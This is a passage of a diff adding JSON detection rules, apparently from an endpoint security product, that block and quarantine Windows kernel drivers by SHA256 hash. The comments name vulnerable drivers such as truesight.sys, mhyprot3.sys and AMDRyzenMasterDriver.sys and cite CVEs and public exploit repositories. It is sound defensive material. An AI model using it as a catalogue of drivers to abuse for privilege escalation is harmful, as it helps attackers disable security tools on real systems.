+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32407d25620fced3f4ab040008605cc3da0b35f54384b832563877912bc4fe67",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1e52fd2-25e6-5c40-a575-2fc6df4b5e91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984839Z",
+  "creation_date": "2026-03-23T11:45:29.984841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984847Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f43d977a5fb1bdc10837e7c4ff03526d2b8fa9757da9dd8bd6514cd31748a858",
+  "comment": "Dangerous Physmem Kernel Driver (aka AsrSmartConnectDrv.Sys) [https://www.loldrivers.io/drivers/57f63efb-dc43-4dba-9413-173e3e4be750/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1f798e3-a0f4-5563-9949-a5353781c4cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975411Z",
+  "creation_date": "2026-03-23T11:45:29.975413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ad2d2fe1b16e42f43788dae1f0f45031b5025ef6bcc52360e18812820682f04",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1fdd0f6-1d05-5427-bb5a-4376e86e88ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483992Z",
+  "creation_date": "2026-03-23T11:45:31.483996Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484006Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dfdb92dbe9139a155de234bbfa711b98fa3de517456d493a893416836bf6980e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2030bd3-093f-5ab6-aa1b-b4d8e042d93c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478665Z",
+  "creation_date": "2026-03-23T11:45:30.478669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478677Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e505569892551b2ba79d8792badff0a41faea033e8d8f85c3afea33463c70bd9",
+  "comment": "Vulnerable Kernel Driver (aka Tmel.sys) [https://www.loldrivers.io/drivers/1aeb1205-8b02-42b6-a563-b953ea337c19/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f20cd15a-7bcf-55af-9382-34a1b17b6769",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816141Z",
+  "creation_date": "2026-03-23T11:45:31.816144Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816151Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4fe6fdcc1b3435a182e6f3425008f4db2a20154f76cb83745d202c30182c2e6a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f218ce3f-d1de-5d2b-ad06-1a52680b1759",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159211Z",
+  "creation_date": "2026-03-23T11:45:31.159213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "915c0bc56291c65b9261e47b14a49ebbc08b7df4e05eb1905526950f263dc956",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f223c386-4424-5bd0-a34f-11a45c6bd7b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452124Z",
+  "creation_date": "2026-03-23T11:45:30.452128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452138Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "292ada92cd442f78bfafe4098105c5e3f2427589f32ee5999d90b61c422fa445",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSBMon.sys) [https://www.loldrivers.io/drivers/babe348d-f160-41ec-9db9-2413b989c1f0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f22a67df-fc5d-5eee-985c-b921e0511785",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823827Z",
+  "creation_date": "2026-03-23T11:45:30.823829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823835Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2c0f60a05123a3c8fd93c8a3e8c1c276d1f0966b31f0981cf7c269098e0defb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f22b563e-1309-5632-acf9-2e8a89ba9d47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452278Z",
+  "creation_date": "2026-03-23T11:45:30.452282Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452291Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91793baa79b630f452267c408cc7509f25aa7ac0e39e88576e3daed3dcd5d8e5",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f232cd25-ab49-5580-84ab-1317e112a45b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605082Z",
+  "creation_date": "2026-03-23T11:45:29.605084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a742196d6446e5178c3d46180d53889d962f3b1a19bc3439f71cc6ac7b15f430",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2377ffe-c276-5a49-8f03-64e653f22ec0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146691Z",
+  "creation_date": "2026-03-23T11:45:31.146693Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146698Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f7f051b49360911cb55e80b8f787582f2d9689f9b9dc19f47ca701acb8a6e1d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f24c4f57-0420-538a-b901-9176e64e3186",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982748Z",
+  "creation_date": "2026-03-23T11:45:29.982750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "823da894b2c73ffcd39e77366b6f1abf0ae9604d9b20140a54e6d55053aadeba",
+  "comment": "Vulnerable Kernel Driver (aka d4.sys) [https://www.loldrivers.io/drivers/c2e70ee6-2f13-4d43-ad5a-c2bf033cc457/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f25384b6-7caa-511e-8a30-f0b4dffabeab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479332Z",
+  "creation_date": "2026-03-23T11:45:30.479334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ae42c1f11a98dee07a0d7199f611699511f1fb95120fabc4c3c349c485467fe",
+  "comment": "Vulnerable Kernel Driver (aka AsrAutoChkUpdDrv_1_0_32.sys) [https://www.loldrivers.io/drivers/02e4a30f-8aa8-4ff0-8e02-1bff1d0f088f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f253c20a-a844-50cf-be15-e0eb8f1280d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974679Z",
+  "creation_date": "2026-03-23T11:45:29.974681Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35a7be9b0cde8c3d409a472a320541df070d7af6008e6458a05947f2591da9b5",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2545873-d660-5d71-8f71-8c8079b56d1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489022Z",
+  "creation_date": "2026-03-23T11:45:31.489024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489030Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "803753e083138c834cd826128e990ee00f45f3be01f1de93e800672e4b00209b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f25476cb-c961-5296-a938-571ac89b63dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819481Z",
+  "creation_date": "2026-03-23T11:45:30.819483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819488Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d008e636e74c846fe7c00f90089ff725561cb3d49ce3253f2bbfbc939bbfcb2",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f258fd4a-592b-5e68-89b7-96b87ec8025e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836338Z",
+  "creation_date": "2026-03-23T11:45:30.836342Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0589f6c3c50acf2e31b94c0b8a2813a77bb1706c9aa1ae0430417007028ca3ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f264824b-4d3a-5b15-b036-f336fa108edc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490120Z",
+  "creation_date": "2026-03-23T11:45:31.490122Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8ff77d20034c3b0e9bd85f352be45931df0e961373a47538d141339d5785ded",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f26b20bd-b63f-5e32-91b8-e2e89ba66add",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147788Z",
+  "creation_date": "2026-03-23T11:45:31.147790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147796Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c2d5e8cc34820d4627ec5a5c11f9faef59900ae8d5170d6f358e7c2b8a6b25a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2710301-9527-595e-a5e1-08fa703c27da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812434Z",
+  "creation_date": "2026-03-23T11:45:31.812436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812442Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c03d1d6012201bb79d3f8ad1e34e984c9ba537ea8c4d94b935bbcbec0c029774",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f27bb10d-c820-5cab-8145-7eba362fc54a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161164Z",
+  "creation_date": "2026-03-23T11:45:31.161166Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161172Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a17bee49182c0edc10ac25613f218cd761d0fca0e3bc73e2b61c79a4a52634a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f281084a-ccea-5845-8e2f-f5d6002bcaa3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832532Z",
+  "creation_date": "2026-03-23T11:45:30.832534Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832539Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
